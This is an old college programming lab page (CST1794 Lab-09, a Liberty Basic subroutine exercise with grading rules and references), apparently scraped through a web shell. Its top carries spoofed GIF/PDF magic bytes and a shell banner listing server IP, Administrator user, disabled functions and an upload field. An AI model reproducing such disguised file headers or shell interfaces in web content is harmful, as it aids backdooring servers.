GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/_Archive/CST1794/Archive/ |
Upload File : |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>CST1794-Lab-09</title> <style type="text/css"> td { vertical-align:top; } td.number { text-align:right; } th { text-align:left; vertical-align:top; } li { vertical-align:top; } li.instruction { margin: 5px 0px 0px 0px; } </style> </head> <body BGCOLOR="LemonChiffon" TEXT="Black" LINK="Blue" VLINK="Blue" ALINK="Red"> <div align="center"> <table border="0" cellpadding="0" cellspacing="0" width="100%"> <tr><td align="left"><font size="-1"><b>CST1794-Lab-09 </b></font></td><td align="right"><font size="-1"><b> 2005.01.25</b></font></td></tr> </table> <div> <h1>CST1794 <br> Lab-09 </h1> </div> <div> <!-- MetaLanguage3 --> <!-- Lab --> <br> <br> <table><tr valign="top"><td> <font color="Navy"><h3><b>Personalized Instruction: </b></h3></font> <ol start="1"> <li>Write a program called <b>Lab-09.bas</b> to perform the following: <table style="border: 1px solid black;"><tr><td style="padding: 15px 15px 0px 15px;"> <pre>'<b> StudentNameGoesHere</b> ' Lab-09 ' Write a computer program to: '1. Output the lines as directed by the print statements below. ' Only output the odd numbered lines (1,3, and 5). Even numbered lines (2 and 4) should not be displayed. ' You may not move the lines in the program, but may only add CALL, SUB, END SUB, or END statements to correct the output. ' Do not separate any PRINT statement from the assignment statement that follows it. myNumber = 1 PRINT "Display this line 3rd. myNumber=";myNumber myNumber = myNumber+1 PRINT "Display this line 2nd. myNumber=";myNumber myNumber = myNumber+1 PRINT "Display this line 1st. myNumber=";myNumber myNumber = myNumber+1 PRINT "Display this line 5th. myNumber=";myNumber myNumber = myNumber+1 PRINT "Display this line 4th. myNumber=";myNumber myNumber = myNumber+1 </pre></td></tr></table> NOTE: The program instructions/statements above are written as <a href="http://cst.ridgewater.edu/Courses/CST1794/dn/LibertyBasic/lb401win.exe">Liberty Basic v4.01</a> comments/statements and must be copied directly into your program. <li>The first program line must be a comment with your name (replace <b>StudentNameGoesHere</b> with your name). <li>Email the program file <b>Lab-09.bas</b> to me at <a href="mailto:jim.martinson@ridgewater.edu">jim.martinson@ridgewater.edu</a> with a subject line of <b>Assignment-CST1794-Lab-09</b>. <li>This lab is due by 1:30pm on Thursday, September 29th, 2005. </ol> </td></tr></table> <br> <table><tr valign="top"><td> <font color="Navy"><h3><b>Evaluation: </b></h3></font> This is your 9th formal evaluation for this course. It will be used to evaluate your progress with the use of the subroutines. This lab is worth 5 points. <!-- MetaCodeRemovedByComment --> If you have any questions about the assignment you can email me at <a href="mailto:jim.martinson@ridgewater.edu">jim.martinson@ridgewater.edu</a> or make an appointment to see me. </td></tr></table> <br> <table><tr valign="top"><td> <font color="Navy"><h3><b>Grading: </b></h3></font> <table> <tr><td class="number">Points</td><td> </td><td>Objective</td></tr> <tr><td class="number"> -5 </td> <td> </td> <td>Lab not handed in as directed.</td></tr> <tr><td class="number"> -1 </td> <td> </td> <td>Lab turned in late.</td></tr> <tr><td class="number"> -2 </td> <td> </td> <td>Poor lab layout (code is hard to read or follow).</td></tr> <tr><td class="number"> -2 </td> <td> </td> <td>Any statements other than CALL, SUB, END SUB, or END are added to the program.</td></tr> <tr><td class="number"> 4 </td> <td> </td> <td>Output is as directed above.</td></tr> <tr><td class="number"> 1 </td> <td> </td> <td>The last myNumber value output should be 1.</td></tr> <tr><td colspan="3"> </td></tr> <tr><td colspan="3"> This lab is worth 5 points. </td></tr> <tr><td colspan="3"> Negative values above may reduce the total points for this lab to zero. </td></tr> </table> <div> <table><tr><td> <font color="Navy"><h3><b>References and Resources: </b></h3></font> <ol> <li> <table border="0" cellspacing="0" cellpadding="0"><tr valign="bottom"><td><table border="0" frame="void" cellpading="0" cellspacing="0"> <tr valign="bottom"> <td> <i>Beginning Programming for Dummies</i><br> Edition: 3rd<br> Wallace Wang<br> Wiley Publishing, Inc. ©2004<br> ISBN: 0-7645-4997-9<br> </td> </tr> </table> </td><td>(Student supplied textbook)</td></tr></table> <li> <a href="http://cst.ridgewater.edu/Courses/CST1794/dn/LibertyBasic/lb401win.exe">Liberty Basic v4.01</a> Software (May be copied from the network and installed on leased laptop or student supplied computer) <li> Computer system with OS (Leased laptop or Student supplied equipment) <li> Course <a href="CST1794-InstructionalGuide.htm">Instructional Guide</a> (On-line) <li> <a href="Examples.htm">Example Programs</a> (On-line) </ol> </td></tr></table> <div> Return to the <a href="CST1794-InstructionalGuide.htm">Instructional Guide</a> or <a href="CST1794-Syllabus.htm">Syllabus</a>, or the <a href="javascript:history.back();">previous page</a>. <div> <table><tr valign="top"><td> <font color="Navy"><h3><b>Version Information: </b></h3></font> <table> <tr><td>2005.01.25</td><td>New on-line modular IG started.</td><td>jfm</td></tr> </table> </td></tr></table> <br> <br> <br> <br> <div align="center"> <div> Author: <a href="../../Instructors/?Author=jfm">Jim Martinson</a> <div> <table border="0" cellpadding="0" cellspacing="0" width="100%"> <tr><td align="left"><font size="-1"><b>CST1794-Lab-09 </b></font></td><td align="right"><font size="-1"><b> 2005.01.25</b></font></td></tr> </table> </div> </body> </html>